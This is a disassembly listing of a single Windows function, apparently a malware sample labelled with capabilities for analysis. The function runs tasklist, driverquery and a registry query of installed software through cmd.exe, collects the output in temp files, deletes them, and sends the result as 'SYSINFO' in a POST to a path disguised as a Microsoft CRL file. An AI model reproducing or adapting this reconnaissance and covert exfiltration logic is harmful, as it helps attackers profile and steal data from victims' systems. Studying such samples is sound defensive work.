Function at 0x10001ca1
Capabilities:
Create process on windows
Delete file
Enumerate device drivers on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xeac
push ebx
push esi
push edi
lea eax, [ebp - 0x298]
push eax
push 0x104
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x28], ecx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x4a0]
push eax
xor ebx, ebx
push ebx
push 0x100062c8
lea eax, [ebp - 0x298]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp - 0x4a0]
push eax
push 0x100062cc
lea eax, [ebp - 0xea8]
push 0x400
push eax
call fcn.10003400
push 0x44
pop esi
push esi
lea eax, [ebp - 0x90]
push ebx
push eax
call sub.ntdll.dll_memset
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x1c
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x298]
push eax
push ebx
push 0xc000000
push ebx
push ebx
push ebx
lea eax, [ebp - 0xea8]
push eax
push ebx
mov dword [ebp - 0x90], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10001d6b
push 0xffffffffffffffff
push dword [ebp - 0x10]
call ebx
push dword [ebp - 0xc]
call esi
push dword [ebp - 0x10]
call esi
lea eax, [ebp - 0x4a0]
push eax
push str.cmd__C__tasklist.exe__SVC_____s_
lea eax, [ebp - 0xea8]
push 0x400
push eax
call fcn.10003400
push 0x44
pop edi
push edi
xor ecx, ecx
push ecx
lea eax, [ebp - 0x90]
push eax
call sub.ntdll.dll_memset
mov dword [ebp - 0x90], edi
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x1c
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x90]
push eax
xor edi, edi
lea eax, [ebp - 0x298]
push eax
push edi
push 0xc000000
push edi
push edi
push edi
lea eax, [ebp - 0xea8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10001ded
push 0xffffffffffffffff
push dword [ebp - 0x10]
call ebx
push dword [ebp - 0xc]
call esi
push dword [ebp - 0x10]
call esi
lea eax, [ebp - 0x4a0]
push eax
push str.cmd__C__driverquery.exe_____s_
lea eax, [ebp - 0xea8]
push 0x400
push eax
call fcn.10003400
push 0x44
lea eax, [ebp - 0x90]
push edi
push eax
call sub.ntdll.dll_memset
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x1c
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x90]
push eax
xor edi, edi
lea eax, [ebp - 0x298]
push eax
push edi
push 0xc000000
push edi
push edi
push edi
lea eax, [ebp - 0xea8]
push eax
push edi
mov dword [ebp - 0x90], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10001e6f
push 0xffffffffffffffff
push dword [ebp - 0x10]
call ebx
push dword [ebp - 0xc]
call esi
push dword [ebp - 0x10]
call esi
lea eax, [ebp - 0x4a0]
push eax
push str.cmd__C__reg.exe_query__HKLMSOFTWAREMicrosoftWindowsCurrentVersionUninstall___s_____s_
lea eax, [ebp - 0xea8]
push 0x400
push eax
call fcn.10003400
push 0x44
lea eax, [ebp - 0x90]
push edi
push eax
call sub.ntdll.dll_memset
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x1c
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x90]
push eax
xor edi, edi
lea eax, [ebp - 0x298]
push eax
push edi
push 0xc000000
push edi
push edi
push edi
lea eax, [ebp - 0xea8]
push eax
push edi
mov dword [ebp - 0x90], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10001ef1
push 0xffffffffffffffff
push dword [ebp - 0x10]
call ebx
push dword [ebp - 0xc]
call esi
push dword [ebp - 0x10]
call esi
lea eax, [ebp - 0x4a0]
push eax
push str.cmd__C__echo______________s_
lea eax, [ebp - 0xea8]
push 0x400
push eax
call fcn.10003400
push 0x44
lea eax, [ebp - 0x90]
push edi
push eax
call sub.ntdll.dll_memset
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x1c
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x90]
push eax
xor edi, edi
lea eax, [ebp - 0x298]
push eax
push edi
push 0xc000000
push edi
push edi
push edi
lea eax, [ebp - 0xea8]
push eax
push edi
mov dword [ebp - 0x90], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10001f73
push 0xffffffffffffffff
push dword [ebp - 0x10]
call ebx
push dword [ebp - 0xc]
call esi
push dword [ebp - 0x10]
call esi
lea eax, [ebp - 0x6a8]
push eax
push edi
push 0x10006484
lea eax, [ebp - 0x298]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp - 0x6a8]
push eax
lea eax, [ebp - 0x4a0]
push eax
push 0x10006488
lea eax, [ebp - 0xea8]
push 0x400
push eax
call fcn.10003400
add esp, 0x14
lea eax, [ebp - 0x90]
push 0x44
push edi
push eax
call sub.ntdll.dll_memset
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x90]
push eax
xor ecx, ecx
lea eax, [ebp - 0x298]
push eax
push ecx
push 0xc000000
push ecx
push ecx
push ecx
lea eax, [ebp - 0xea8]
push eax
push ecx
mov dword [ebp - 0x90], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10002019
push 0xffffffffffffffff
push dword [ebp - 0x10]
call ebx
push dword [ebp - 0xc]
call esi
push dword [ebp - 0x10]
call esi
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x4a0]
push eax
call edi
lea eax, [ebp - 0x34]
push eax
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x6a8]
call fcn.100035d0
mov esi, eax
lea eax, [ebp - 0x6a8]
push eax
call edi
test esi, esi
jne 0x10002134
mov edi, dword [ebp - 0x28]
mov ecx, edi
mov eax, dword [edi]
call dword [eax + 0x38]
mov esi, eax
push 0x20
mov edx, dword [esi]
lea eax, [ebp - 0x20]
push eax
mov ecx, esi
call dword [edx + 4]
mov ebx, eax
mov edx, dword [ebp - 0x38]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x34]
lea eax, [ebp - 0x20]
push dword [ebp - 0x24]
mov dword [ebp - 0x40], ebx
push str._pki_mscorp_crl_MSIT_20Machine_20Auth_20CA_202_1_.crl
push str.POST
push ecx
push 0x10006178
push str.SYSINFO
push eax
mov ecx, edi
call fcn.10002881
mov edx, dword [esi]
mov edi, eax
push edi
push ebx
mov ecx, esi
call dword [edx + 8]
test edi, edi
jne 0x10002114
mov eax, dword [esi]
push 0x20
lea ecx, [ebp - 0x20]
push ecx
mov ecx, esi
call dword [eax + 4]
mov ebx, eax
cmp ebx, dword [ebp - 0x40]
je 0x10002110
mov edx, dword [ebp - 0x38]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x34]
lea eax, [ebp - 0x20]
push dword [ebp - 0x24]
push str._pki_mscorp_crl_MSIT_20Machine_20Auth_20CA_202_1_.crl
push str.POST
push ecx
mov ecx, dword [ebp - 0x28]
push 0x10006178
push str.SYSINFO
push eax
call fcn.10002881
mov edi, eax
mov eax, dword [esi]
push edi
push ebx
mov ecx, esi
call dword [eax + 8]
test edi, edi
je 0x100020b3
test edi, edi
je 0x1000212c
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10002120
call fcn.100035c0
mov ecx, dword [ebp - 0x30]
test ecx, ecx
je 0x1000212c
call fcn.100035c0
mov ecx, dword [ebp - 0x24]
call fcn.100035c0
pop edi
pop esi
pop ebx
leave
ret 8